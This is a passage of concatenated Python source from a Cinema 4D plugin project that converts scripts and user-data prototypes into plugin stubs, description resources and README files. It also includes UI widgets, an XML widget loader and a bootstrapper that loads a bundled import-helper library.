if metadata.get('name'):
self.plugin_name = metadata['name']
else:
self.plugin_name = os.path.splitext(os.path.basename(self.script_file))[0]
else:
self.plugin_name = default_plugin_name
if not self.directory:
write_dir = c4d.storage.GeGetC4DPath(c4d.C4D_PATH_STARTUPWRITE)
dirname = re.sub('[^\w\d]+', '-', self.plugin_name).lower()
self.directory = os.path.join(write_dir, 'plugins', dirname)
if not self.plugin_help:
metadata = self.get_script_file_metadata(self.script_file)
self.plugin_help = metadata.get('description')
if not self.icon_file:
if self.script_file:
for suffix in ('.tif', '.tiff', '.png', '.jpg'):
self.icon_file = os.path.splitext(self.script_file)[0] + suffix
if os.path.isfile(self.icon_file):
break
else:
self.icon_file = None
if not self.icon_file:
self.icon_file = res.local('../icons/default-icon.tiff')
def files(self):
parent_dir = self.directory or self.plugin_name
plugin_filename = re.sub('[^\w\d]+', '-', self.plugin_name).lower()
result = {
'directory': parent_dir,
'plugin': os.path.join(parent_dir, plugin_filename + '.pyp')
}
if self.icon_file:
suffix = os.path.splitext(self.icon_file)[1]
result['icon'] = os.path.join(parent_dir, 'res/icons/{0}{1}'.format(plugin_filename, suffix))
if self.write_readme:
result['readme'] = os.path.join(parent_dir, 'README.md')
return result
def create(self):
files = self.files()
if not self.overwrite:
for k, v in files.iteritems():
if os.path.isfile(v):
raise IOError('File "{}" already exists'.format(v))
if not self.plugin_id.isdigit():
raise ValueError('Converter.plugin_id is invalid')
with open(self.script_file) as fp:
code_parts = refactor_command_script(fp.read())
# Indent the code appropriately for the plugin stub.
member_code = '\n'.join(' ' + l for l in code_parts['member_code'].split('\n'))
context = {
'plugin_name': self.plugin_name,
'plugin_id': self.plugin_id.strip(),
'plugin_class': re.sub('[^\w\d]+', '', self.plugin_name),
'plugin_icon': 'res/icons/' + os.path.basename(files['icon']) if files.get('icon') else None,
'future_import': code_parts['future_line'],
'global_code': code_parts['code'],
'member_code': member_code,
'plugin_help': self.plugin_help,
'docstrings': code_parts['docstring']
}
with open(res.local('../templates/command_plugin.txt')) as fp:
template = fp.read()
if files.get('icon') and files.get('icon') != self.icon_file:
makedirs(os.path.dirname(files['icon']))
try:
shutil.copy(self.icon_file, files['icon'])
except shutil.Error as exc:
print('Warning: Error copying icon:', exc)
print('Creating', files['plugin'])
makedirs(os.path.dirname(files['plugin']))
code = little_jinja(template, context)
# Write one-off code.
with open(files['plugin'], 'w') as fp:
fp.write(code)
# Update indentation.
code = refactor.indentation(code, self.indent)
with open(files['plugin'], 'w') as fp:
fp.write(code)
if 'readme' in files and (self.overwrite or not os.path.isfile(files['readme'])):
docstring = code_parts.get('docstring', '').strip()
if docstring.startswith('"'): docstring = docstring.strip('"')
elif docstring.startswith("'"): docstring = docstring.strip("'")
with open(files['readme'], 'w') as fp:
fp.write('# {0}\n\n{1}\n'.format(self.plugin_name, docstring))
class ScriptConverter(nr.c4d.ui.Component):
def render(self, dialog):
self.flush_children()
self.load_xml_file('./ScriptConverter.xml')
self.script_files = get_library_scripts()
for key in ('script', 'script_file', 'plugin_name', 'plugin_help',
'plugin_id', 'icon', 'directory', 'write_readme', 'overwrite'):
self[key].add_event_listener('value-changed', self.on_change)
self['script'].pack(nr.c4d.ui.Item(delegate=self._fill_script_combobox))
self['create'].add_event_listener('click', self.on_create)
self['get_plugin_id'].add_event_listener('click', self.on_get_plugin_id)
return super(ScriptConverter, self).render(dialog)
def _fill_script_combobox(self, box):
for i, (fn, name, _) in enumerate(self.script_files, 1):
box.add(name)
def init_values(self, dialog):
super(ScriptConverter, self).init_values(dialog)
self.on_change(None)
def get_converter(self):
if self['script'].active_index == 0:
script_file = self['script_file'].value
else:
script_file = self.script_files[self['script'].active_index-1][0]
indent_mode = self['indent_mode'].active_item.ident.encode()
indent = {'tab': '\t', '2space': ' ', '4space': ' '}[indent_mode]
return Converter(
plugin_name = self['plugin_name'].value,
plugin_help = self['plugin_help'].value,
plugin_id = self['plugin_id'].value,
script_file = script_file,
icon_file = self['icon'].value,
directory = self['directory'].value,
overwrite = self['overwrite'].value,
write_readme = self['write_readme'].value,
indent = indent
)
def on_change(self, widget):
visible = (self['script'].active_index == 0)
item = self['script_file']
item.visible = visible
item.previous_sibling.visible = visible
cnv = self.get_converter()
cnv.autofill()
files = cnv.files()
parent = os.path.dirname(files.pop('directory'))
enable_create = True
self['filelist'].set_files(files, parent, set())
self['filelist'].set_overwrite(cnv.overwrite)
self['plugin_name'].set_helptext(cnv.plugin_name)
self['plugin_help'].set_helptext(cnv.plugin_help)
self['icon'].set_helptext(cnv.icon_file)
self['directory'].set_helptext(cnv.directory or '')
if not cnv.plugin_id.isdigit():
enable_create = False
color = COLOR_RED
else:
color = None
self['plugin_id'].parent.previous_sibling.set_color(color)
if not cnv.script_file:
enable_create = False
color = COLOR_RED
else:
color = None
self['script'].previous_sibling.set_color(color)
self['create'].enabled = enable_create
def on_create(self, button):
cnv = self.get_converter()
cnv.autofill()
try:
cnv.create()
except Exception as exc:
traceback.print_exc()
c4d.gui.MessageDialog(str(exc))
else:
c4d.storage.ShowInFinder(cnv.files()['directory'])
finally:
self.on_change(None)
def on_get_plugin_id(self, button):
webbrowser.open('http://www.plugincafe.com/forum/developer.asp')
window = nr.c4d.ui.DialogWindow(ScriptConverter(), title='Script Converter')
command = nr.c4d.ui.DialogOpenerCommand(ID_SCRIPT_CONVERTER, window)
command.Register('Script Converter...', c4d.PLUGINFLAG_HIDEPLUGINMENU,
icon=res.bitmap(res.local('../icons/script_converter.png')))
<file_sep>/lib/nr.c4d/src/nr/c4d/ui/utils/xml.py
# Copyright (c) 2017 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE
from __future__ import absolute_import
from xml import sax
from xml.dom import minidom
import contextlib
import sys
class ParseError(Exception):
pass
def support_parse_position(parser):
"""
Hooks as SAX parser's `set_content_handler()` method to publish a
`parse_position` member to every node.
"""
# Thanks to https://stackoverflow.com/a/5133181/791713
def set_content_handler(dom_handler):
def startElementNS(name, tagName, attrs):
orig_start_cb(name, tagName, attrs)
cur_elem = dom_handler.elementStack[-1]
cur_elem.parse_position = (
parser._parser.CurrentLineNumber,
parser._parser.CurrentColumnNumber
)
orig_start_cb = dom_handler.startElementNS
dom_handler.startElementNS = startElementNS
orig_set_content_handler(dom_handler)
orig_set_content_handler = parser.setContentHandler
parser.setContentHandler = set_content_handler
def load_xml_widgets(string, globals, insert_widget):
"""
Parses an XML string and converts it to a view hierarchy. The *insert_widget*
function will be called with arguments *(parent, child)* to insert the child
widget into the parent widget.
"""
parser = sax.make_parser()
support_parse_position(parser)
doc = minidom.parseString(string, parser)
def parse(node):
if node.nodeType != node.ELEMENT_NODE:
if node.nodeType == node.TEXT_NODE:
if not node.nodeValue.strip():
return # empty text is ok
raise ParseError(node.parentNode.parse_position, "found non-empty text")
raise ParseError(node.parse_position, "got node type: {}".format(node.nodeType))
parts = node.nodeName.split('.')
if parts[0] not in globals:
raise ParseError(node.parse_position, 'name "{}" not defined'.format(parts[0]))
member = globals[parts[0]]
for part in parts[1:]:
try:
member = getattr(member, part)
except AttributeError as exc:
raise ParseError(node.parse_position, exc)
kwargs = {}
for key, value in node.attributes.items():
kwargs[key] = value
try:
widget = member(**kwargs)
except TypeError as exc:
tb = sys.exc_info()[2]
raise TypeError, TypeError('{}: {}'.format(member.__name__, exc)), tb
#try:
#except Exception as exc:
# raise ParseError(node.parse_position, '{}(): {}'.format(member.__name__, exc))
for child_node in node.childNodes:
child_widget = parse(child_node)
if child_widget is not None:
insert_widget(widget, child_widget)
return widget
return parse(doc.childNodes[0])
<file_sep>/c4d_prototype_converter/ui/FileList.py
import c4d
import collections
import os
from nr.c4d.ui.native import BaseWidget, get_layout_flags
from ..utils import Node
def path_parents(path):
"""
A generator that returns *path* and all its parent directories.
"""
yield path
prev = None
while True:
path = os.path.dirname(path)
if not path or prev == path: break # Top of relative path or of filesystem
yield path
prev = path
def file_tree(items, parent=None, flat=False, key=None):
"""
Produces a tree structure from a list of filenames. Returns a list of the
root entries. If *flat* is set to #True, the returned list contains a flat
version of all entries in the tree.
"""
DataNode = Node[collections.namedtuple('Data', 'path isdir data')]
entries = {}
if key is None:
key = lambda x: x
items = ((os.path.normpath(key(x)), x) for x in items)
if parent:
items = [(os.path.relpath(k, parent), v) for k, v in items]
if flat:
order = []
for filename, data in items:
parent_entry = None
for path in reversed(list(path_parents(filename))):
entry = entries.get(path)
if not entry:
entry = DataNode(path, path!=filename, data)
if parent_entry:
parent_entry.add_child(entry)
entries[path] = entry
base = os.path.basename(path)
parent_entry = entry
if flat:
order.append(entry)
roots = (x for x in entries.values() if not x.parent)
if flat:
result = []
[x.visit(lambda y: result.append(y)) for x in roots]
return result
else:
return list(roots)
COLOR_BLUE = c4d.Vector(0.5, 0.6, 0.9)
COLOR_RED = c4d.Vector(0.9, 0.3, 0.3)
COLOR_YELLOW = c4d.Vector(0.9, 0.8, 0.6)
class FileList(BaseWidget):
"""
Shows a list of files in a tree with the single highest directory first.
If a file already exists, it will be rendered in red unless the *overwrite*
flag is set in the widget. Additionally, files that are only written if
they not already exist can be marked as such and are rendered in yellow.
"""
def __init__(self, layout_flags='left,fit-y', id=None):
super(FileList, self).__init__(id)
self.layout_flags = layout_flags
self._parent_path = None
self._flat_nodes = []
self._optional_file_ids = set()
self._overwrite = False
def set_files(self, files, parent, optional_file_ids):
files = sorted(files.items(), key=lambda x: x[1].lower())
self._parent_path = parent
self._flat_nodes = file_tree(files, parent=parent, flat=True, key=lambda x: x[1])
self._optional_file_ids = set(optional_file_ids)
self.layout_changed()
def set_overwrite(self, overwrite):
self._overwrite = overwrite
def render(self, dialog):
layout_flags = get_layout_flags(self.layout_flags)
dialog.GroupBegin(0, layout_flags, 1, 0)
for node in self._flat_nodes:
depth = node.depth()
name = ' ' * depth + os.path.basename(node['path'])
if node['isdir']:
name += '/'
widget_id = self.alloc_id()
dialog.AddStaticText(widget_id, c4d.BFH_LEFT, name=name)
full_path = os.path.join(self._parent_path, node['path'])
if not node['isdir'] and os.path.isfile(full_path):
if node['data'][0] in self._optional_file_ids:
color = COLOR_BLUE
elif self._overwrite:
color = COLOR_YELLOW
else:
color = COLOR_RED
dialog.set_color(widget_id, c4d.COLOR_TEXT, color)
dialog.GroupEnd()
<file_sep>/bootstrapper.pyp
# localimport-v1.7.3-blob-mcw99
import base64 as b, types as t, zlib as z; m=t.ModuleType('localimport');
m.__file__ = __file__; blob=b'\
<KEY>
exec(z.decompress(b.b64decode(blob)), vars(m)); _localimport=m;localimport=getattr(m,"localimport")
del blob, b, t, z, m;
import os
import sys
project_dir = os.path.dirname(__file__)
libegg = os.path.join(project_dir, 'lib-{}.egg'.format(sys.version[:3].replace('.', '-')))
libdir = os.path.join(project_dir, 'lib')
if os.path.isdir(libdir):
path = ['.', libdir]
else:
path = ['.', libegg]
with localimport(path, do_eggs=False) as importer:
from c4d_prototype_converter import main, res
res.__res__ = __res__
res.plugin_dir = os.path.dirname(__file__)
PluginMessage = main.PluginMessage
<file_sep>/lib/nr.c4d/src/nr/c4d/ui/views/image.py
# Copyright (c) 2017 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE
import c4d
from ..utils.calculate import calc_bitmap_size
class ImageView(c4d.gui.GeUserArea):
"""
A GeUserArea that displays an image centered vertically/horizontally.
"""
def __init__(self, image, max_width=None, max_height=None, scale_up=False,
fill=True, bgcolor=None):
c4d.gui.GeUserArea.__init__(self)
if isinstance(image, basestring):
bmp = c4d.bitmaps.BaseBitmap()
res = bmp.InitWith(image)
if res[0] != c4d.IMAGERESULT_OK:
bmp = None
image = bmp
self.image = image
self.flags = c4d.BMP_ALLOWALPHA | c4d.BMP_NORMAL
self.additional_flags = 0
self.max_width = max_width
self.max_height = max_height
self.scale_up = scale_up
self.fill = fill
self.bgcolor = bgcolor
def get_icon_data(self):
icon = self.image
if isinstance(icon, c4d.bitmaps.BaseBitmap):
icon = {'bmp': icon, 'x': 0, 'y': 0, 'w': icon.GetBw(), 'h': icon.GetBh()}
return icon
def DrawMsg(self, x1, y1, x2, y2, bc):
icon = self.get_icon_data()
self.OffScreenOn()
bgcolor = self.bgcolor
if bgcolor is None:
bgcolor = c4d.COLOR_BG if icon else c4d.COLOR_BGEDIT
self.DrawSetPen(bgcolor)
self.DrawRectangle(x1, y1, x2, y2)
if not icon:
return
dw, dh = self.GetMinSize()
xoff = (self.GetWidth() - dw) / 2
yoff = (self.GetHeight() - dh) / 2
flags = self.flags | self.additional_flags
self.DrawBitmap(icon['bmp'], xoff, yoff, dw, dh,
icon['x'], icon['y'], icon['w'], icon['h'], flags)
def GetMinSize(self):
icon = self.get_icon_data()
if icon:
sw, sh = icon['w'], icon['h']
mw, mh = self.max_width, self.max_height
if self.scale_up:
if not mw: mw = self.GetWidth()
if not mh: mh = self.GetHeight()
else:
if not mw: mw = sw
if not mh: mh = sh
dw, dh = calc_bitmap_size(sw, sh, mw, mh, fill=self.fill)
return int(dw), int(dh)
return 10, 10
<file_sep>/c4d_prototype_converter/ui/PrototypeConverter.py
from __future__ import print_function
import collections
import c4d
import os
import nr.c4d.ui
import re
import shutil
import sys
import traceback
import webbrowser
from nr.c4d.utils import HashDict
from .HelpMenu import HelpMenu
from .FileList import FileList, COLOR_RED
from ..utils import Node, makedirs
from ..c4dutils import unicode_refreplace, get_subcontainer, has_subcontainer
from ..little_jinja import little_jinja
from .. import res, refactor
ID_PLUGIN_CONVERTER = 1040648
def userdata_tree(ud):
"""
Builds a tree of userdata information. Returns a proxy root node that
contains at least the main User Data group and eventually other root
groups.
"""
DataNode = Node[dict]
params = HashDict()
root = Node[None]()
# Create a node for every parameter.
for descid, bc in ud:
params[descid] = DataNode(descid=descid, bc=bc)
# The main userdata group is not described in the UserData container.
descid = c4d.DescID(c4d.DescLevel(c4d.ID_USERDATA, c4d.DTYPE_SUBCONTAINER, 0))
node = DataNode(descid=descid, bc=c4d.BaseContainer())
params[descid] = node
root.add_child(node)
# Establish parent-child parameter relationships.
for descid, bc in ud:
node = params[descid]
parent_id = bc[c4d.DESC_PARENTGROUP]
try:
parent = params[parent_id]
except KeyError:
root.add_child(node)
else:
parent.add_child(node)
return root
def is_minvalue(x):
"""
Checks for very low values, that might indicate that a parameter has
no upper bounds (from a user perspective).
"""
if isinstance(x, int):
return x <= 2**31
elif isinstance(x, float):
return x < float('1e' + str(sys.float_info.min_10_exp-1))
elif isinstance(x, c4d.Vector):
return is_minvalue(x.x) and is_minvalue(x.y) and is_minvalue(x.z)
def is_maxvalue(x):
"""
Checks for very high values, that might indicate that a parameter has
no upper bounds (from a user perspective) .
"""
if isinstance(x, int):
return x >= 2**32-1
elif isinstance(x, float):
return x > float('1e+' + str(sys.float_info.max_10_exp-1))
elif isinstance(x, c4d.Vector):
return is_maxvalue(x.x) and is_maxvalue(x.y) and is_maxvalue(x.z)
def refactor_expression_script(code, kind, symbols_map):
# Replace occurences of [c4d.ID_USERDATA, X] with the symbol.
uid_reverse_map = {did[-1].id: sym for did, sym in
symbols_map.descid_to_symbol.iteritems()}
def subfun(x):
if x in uid_reverse_map:
return 'res.' + uid_reverse_map[x]
else:
print('note: could not reverse map [c4d.ID_USERDATA, {}]'.format(x))
return None
code = refactor.fix_userdata_access(code, subfun)
code = refactor.indentation(code, ' ') # To match the indentation of the plugin stub.
code, docstring = refactor.split_docstring(code)
code, msg_code = refactor.split_and_refactor_global_function(
code, 'message', 'Message', ['self', 'op'], add_statement='return True')
member_code = msg_code
if kind == 'ObjectData':
code, gvo_code = refactor.split_and_refactor_global_function(
code, 'main', 'GetVirtualObjects', ['self', 'op', 'hh'])
member_code += '\n\n' + gvo_code
elif kind == 'TagData':
code, exec_code = refactor.split_and_refactor_global_function(
code, 'main', 'Execute', ['self', 'op', 'doc', 'host', 'bt', 'priority', 'flags'],
add_statement='return c4d.EXECUTIONRESULT_OK')
member_code += '\n\n' + exec_code
else:
raise ValueError(kind)
# Must be done last, as afterwards the *code* may no longer be valid
# syntax if print_function was used.
code, future_line = refactor.split_future_imports(code)
return {
'future_line': future_line,
'docstring': docstring,
'code': code,
'member_code': member_code
}
class SymbolMap(object):
"""
A map for User Data symbols used in the #PrototypeConverter.
"""
def __init__(self, prefix):
self.curr_id = 1000
self.symbols = collections.OrderedDict()
self.descid_to_symbol = HashDict()
self.descid_to_node = HashDict()
self.hardcoded_description = HashDict()
self.prefix = prefix
def translate_name(self, name, add_prefix=True, unique=True):
name = name.replace('+', 'P').replace('-', 'N')
result = re.sub('[^\w\d_]+', '_', name).upper().strip('_')
if add_prefix:
result = self.prefix + result
if unique:
index = 0
while True:
symbol = result + (str(index) if index != 0 else '')
if symbol not in self.symbols: break
index += 1
result = symbol
return result
def allocate_symbol(self, node):
"""
Expects a #Node[dict] as returned by #userdata_tree(). Assigns a symbol
to the node and registers its descid in this map.
"""
if node['descid'][-1].dtype == c4d.DTYPE_SEPARATOR and not node['bc'][c4d.DESC_NAME]:
node['symbol'] = (None, None)
return None, None
# Find a unique name for the symbol.
name = node['bc'][c4d.DESC_SHORT_NAME] or node['bc'][c4d.DESC_NAME]
if node['descid'][-1].dtype == c4d.DTYPE_GROUP:
name += '_GROUP'
else:
parent = node.parent()
if parent.data:
parent_name = parent['bc'].GetString(c4d.DESC_NAME)
if parent_name:
name = parent_name + ' ' + name
symbol = self.translate_name(name)
value = self.curr_id
self.curr_id += 1
self.symbols[symbol] = value
descid = node['descid']
self.descid_to_symbol[descid] = symbol
self.descid_to_node[descid] = node
node['symbol'] = (symbol, value)
return symbol, value
def get_cycle_symbol(self, node, cycle_name):
"""
Constructs the symbolic name of a value in a cycle parameter.
"""
symbol = node.get('symbol', (None, None))[0]
if not symbol:
symbol = self.allocate_symbol(node)[0]
return symbol + '_' + self.translate_name(cycle_name, False, False)
def add_hardcoded_description(self, node, param, value):
params = self.hardcoded_description.setdefault(node['descid'], [])
params.append((param, value))
class Converter(object):
"""
This object holds the information on how the description resource will
be generated.
"""
def __init__(self, link, plugin_name='', plugin_id='', resource_name='',
symbol_prefix='', icon_file='', directory='', indent=' ',
write_plugin_stub=True, write_resources=True, write_readme=True,
symbol_mode='c4ddev', overwrite='none'):
assert symbol_mode in ('c4d', 'c4ddev'), symbol_mode
self.link = link
self.plugin_name = plugin_name
self.plugin_id = plugin_id.strip()
self.resource_name = resource_name
self.symbol_prefix = symbol_prefix
self.icon_file = icon_file
self.directory = directory
self.indent = indent
self.write_plugin_stub = write_plugin_stub
self.write_resources = write_resources
self.write_readme = write_readme
self.symbol_mode = symbol_mode
self.overwrite = overwrite
def plugin_type_info(self):
if not self.link:
return {}
if self.link.CheckType(c4d.Obase):
return {'resprefix': 'O', 'resbase': 'Obase', 'plugintype': 'Object'}
if self.link.CheckType(c4d.Tbase):
return {'resprefix': 'T', 'resbase': 'Tbase', 'plugintype': 'Tag'}
if self.link.CheckType(c4d.Xbase):
return {'resprefix': 'X', 'resbase': 'Xbase', 'plugintype': 'Shader'}
if self.link.CheckType(c4d.Mbase):
return {'resprefix': 'M', 'resbase': 'Mbase', 'plugintype': None}
return {}
def autofill(self, default_plugin_name='My Plugin'):
other = Converter(self.link)
if other.link: other.read_from_link()
if not self.plugin_name:
self.plugin_name = other.plugin_name or (self.link.GetName() if self.link else '')
if not self.plugin_name:
self.plugin_name = default_plugin_name
if not self.resource_name:
self.resource_name = other.resource_name
if not self.resource_name:
self.resource_name = re.sub('[^\w\d]+', '', self.plugin_name).lower()
self.resource_name = self.plugin_type_info().get('resprefix', '') + self.resource_name
if not self.symbol_prefix:
self.symbol_prefix = other.symbol_prefix
if not self.symbol_prefix:
self.symbol_prefix = re.sub('[^\w\d]+', '_', self.plugin_name).rstrip('_').upper() + '_'
if not self.directory:
self.directory = other.directory
if not self.directory:
write_dir = c4d.storage.GeGetC4DPath(c4d.C4D_PATH_STARTUPWRITE)
dirname = re.sub('[^\w\d]+', '-', self.plugin_name).lower()
self.directory = os.path.join(write_dir, 'plugins', dirname)
if not self.icon_file:
self.icon_file = other.icon_file or res.local('../icons/default-icon.tiff')
if not self.plugin_id:
self.plugin_id = other.plugin_id
def files(self):
f = lambda s: s.format(**sys._getframe(1).f_locals)
j = lambda *p: os.path.join(parent_dir, *p)
parent_dir = self.directory or self.plugin_name
plugin_filename = re.sub('[^\w\d]+', '-', self.plugin_name).lower()
plugin_type_info = self.plugin_type_info()
result = {'directory': parent_dir}
if self.write_resources:
result.update({
'c4d_symbols': j('res', 'c4d_symbols.h'),
'header': j('res', 'description', f('{self.resource_name}.h')),
'description': j('res', 'description', f('{self.resource_name}.res')),
'strings_us': j('res', 'strings_us', 'description', f('{self.resource_name}.str'))
})
if self.write_plugin_stub and plugin_type_info.get('plugintype'):
result['plugin'] = j(f('{plugin_filename}.pyp'))
if self.write_readme:
result['readme'] = j('README.md')
if self.icon_file:
suffix = os.path.splitext(self.icon_file)[1]
result['icon'] = j('res', 'icons', f('{self.plugin_name}{suffix}'))
return result
def optional_file_ids(self):
return ('directory', 'c4d_symbols')
def create(self):
if not self.directory:
raise RuntimeError('Converter.directory must be set')
if not self.link:
raise RuntimeError('Converter.link must be set')
if not self.plugin_id.isdigit():
raise RuntimeError('Converter.plugin_id is invalid')
if self.icon_file and not os.path.isfile(self.icon_file):
raise IOError('File "{}" does not exist'.format(self.icon_file))
plugin_type_info = self.plugin_type_info()
files = self.files()
optionals = self.optional_file_ids()
if not self.overwrite:
for k in files:
v = files.get(k)
if not v or k in optionals: continue
if os.path.exists(v):
raise IOError('File "{}" already exists'.format(v))
makedirs(os.path.dirname(files['c4d_symbols']))
if self.overwrite or not os.path.isfile(files['c4d_symbols']):
makedirs(os.path.dirname(files['c4d_symbols']))
with open(files['c4d_symbols'], 'w') as fp:
fp.write('#pragma once\nenum {\n};\n')
ud = self.link.GetUserDataContainer()
symbol_map = SymbolMap(self.symbol_prefix)
ud_tree = userdata_tree(ud)
ud_main_group = next((
x for x in ud_tree.children
if x['descid'] == c4d.DescID(c4d.ID_USERDATA)
))
ud_tree.visit(lambda x: symbol_map.allocate_symbol(x) if x != ud_main_group else None, False)
# Render the symbols to the description header. This will also
# initialize our symbol_map.
makedirs(os.path.dirname(files['header']))
with open(files['header'], 'w') as fp:
fp.write('#pragma once\nenum {\n')
if self.plugin_id:
fp.write(self.indent + '{self.resource_name} = {self.plugin_id},\n'.format(self=self))
ud_tree.visit(lambda x: self.render_symbol(fp, x, symbol_map))
fp.write('};\n')
makedirs(os.path.dirname(files['description']))
with open(files['description'], 'w') as fp:
fp.write('CONTAINER {self.resource_name} {{\n'.format(self=self))
for base, propgroup in [
('Obase', 'ID_OBJECTPROPERTIES'), ('Tbase', 'ID_TAGPROPERTIES'),
('Xbase', 'ID_SHADERPROPERTIES'), ('Mbase', 'ID_MATERIALPROPERTIES')]:
if self.link.CheckType(getattr(c4d, base)):
fp.write(self.indent + 'INCLUDE {base};\n'.format(base=base))
break
else:
propgroup = None
fp.write(self.indent + 'NAME {self.resource_name};\n'.format(self=self))
if propgroup:
fp.write(self.indent + 'GROUP {0} {{\n'.format(propgroup))
for node in ud_main_group.children:
self.render_parameter(fp, node, symbol_map, depth=2)
fp.write(self.indent + '}\n')
for node in ud_tree.children:
if node['descid'] == c4d.DescID(c4d.ID_USERDATA): continue
self.render_parameter(fp, node, symbol_map)
fp.write('}\n')
makedirs(os.path.dirname(files['strings_us']))
with open(files['strings_us'], 'w') as fp:
fp.write('STRINGTABLE {self.resource_name} {{\n'.format(self=self))
fp.write('{self.indent}{self.resource_name} "{self.plugin_name}";\n'.format(self=self))
ud_tree.visit(lambda x: self.render_symbol_string(fp, x, symbol_map))
fp.write('}\n')
if 'plugin' in files and (self.overwrite or not os.path.isfile(files['plugin'])):
makedirs(os.path.dirname(files['plugin']))
with open(res.local('../templates/node_plugin.txt')) as fp:
template = fp.read()
Opython = 1023866
plugin_flags = ''
if self.link.CheckType(Opython) or self.link.CheckType(c4d.Tpython):
if self.link.CheckType(Opython):
kind = 'ObjectData'
code = self.link[c4d.OPYTHON_CODE]
plugin_flags = 'c4d.OBJECT_GENERATOR'
else:
kind = 'TagData'
code = self.link[c4d.TPYTHON_CODE]
plugin_flags = 'c4d.TAG_VISIBLE | c4d.TAG_EXPRESSION'
code_parts = refactor_expression_script(code, kind, symbol_map)
else:
code_parts = {}
if code_parts.get('member_code'):
# Indent the code appropriately for the plugin stub.
code_parts['member_code'] = '\n'.join(' ' + l
for l in code_parts['member_code'].split('\n'))
context = {
'c4d': c4d,
'link': self.link,
'parameters': [
(symbol_map.descid_to_node[did], did, bc)
for did, bc in ud if did in symbol_map.descid_to_node],
'hardcoded_description': [
(symbol_map.descid_to_node[did], params)
for did, params in symbol_map.hardcoded_description.items()
],
'docstrings': code_parts.get('docstring'),
'future_import': code_parts.get('future_line'),
'global_code': code_parts.get('code'),
'member_code': code_parts.get('member_code'),
'plugin_class': re.sub('[^\w\d]+', '', self.plugin_name) + 'Data',
'plugin_type': plugin_type_info['plugintype'],
'plugin_id': self.plugin_id,
'plugin_name': self.plugin_name,
'plugin_info': plugin_flags,
'plugin_desc': self.resource_name,
'plugin_icon': 'res/icons/' + os.path.basename(files['icon']) if files.get('icon') else None,
'symbol_mode': self.symbol_mode,
}
code = little_jinja(template, context)
# Write the code for now so you can inspect it should refactoring go wrong.
with open(files['plugin'], 'w') as fp:
fp.write(code)
code = refactor.indentation(code, self.indent)
with open(files['plugin'], 'w') as fp:
fp.write(code)
else:
code_parts = {}
if 'readme' in files and (self.overwrite or not os.path.isfile(files['readme'])):
docstring = (code_parts.get('docstring') or '').strip()
if docstring.startswith('"'): docstring = docstring.strip('"')
elif docstring.startswith("'"): docstring = docstring.strip("'")
with open(files['readme'], 'w') as fp:
fp.write('# {0}\n\n'.format(self.plugin_name))
fp.write(docstring)
fp.write('\n')
if self.icon_file and self.icon_file != files['icon']:
makedirs(os.path.dirname(files['icon']))
try:
shutil.copy(self.icon_file, files['icon'])
except shutil.Error as exc:
print('Warning: Error copying icon:', exc)
def render_symbol(self, fp, node, symbol_map):
if not node.data or node['descid'] == c4d.DescID(c4d.ID_USERDATA):
return
sym, value = node['symbol']
if not sym:
return
fp.write(self.indent + '{} = {},\n'.format(sym, value))
children = node['bc'].GetContainerInstance(c4d.DESC_CYCLE)
if children:
cycle_symbols = []
for value, name in children:
sym = symbol_map.get_cycle_symbol(node, name)
fp.write(self.indent * 2 + '{} = {},\n'.format(sym, value))
cycle_symbols.append((sym, value))
else:
cycle_symbols = None
node['cycle_symbols'] = cycle_symbols
return sym
def render_parameter(self, fp, node, symbol_map, depth=1):
bc = node['bc']
symbol = node['symbol'][0]
dtype = node['descid'][-1].dtype
if dtype == c4d.DTYPE_GROUP:
fp.write(self.indent * depth + 'GROUP {} {{\n'.format(symbol))
if bc[c4d.DESC_DEFAULT]:
fp.write(self.indent * (depth+1) + 'DEFAULT 1;\n')
if bc[c4d.DESC_TITLEBAR]:
pass # TODO
if bc.GetInt32(c4d.DESC_COLUMNS) not in (0, 1):
fp.write(self.indent * (depth+1) + 'COLUMNS {};\n'.format(bc[c4d.DESC_COLUMNS]))
if bc[c4d.DESC_GROUPSCALEV]:
fp.write(self.indent * (depth+1) + 'SCALE_V;\n')
for child in node.children:
self.render_parameter(fp, child, symbol_map, depth+1)
fp.write(self.indent * depth + '}\n')
else:
typename = None
props = []
default = bc[c4d.DESC_DEFAULT]
if bc[c4d.DESC_ANIMATE] == c4d.DESC_ANIMATE_OFF:
props.append('ANIM OFF;')
elif bc[c4d.DESC_ANIMATE] == c4d.DESC_ANIMATE_MIX:
props.append('ANIM MIX;')
if dtype == c4d.DTYPE_BOOL:
typename = 'BOOL'
if default is not None:
props.append('DEFAULT 1;' if default else 'DEFAULT 0;')
elif dtype in (c4d.DTYPE_LONG, c4d.DTYPE_REAL):
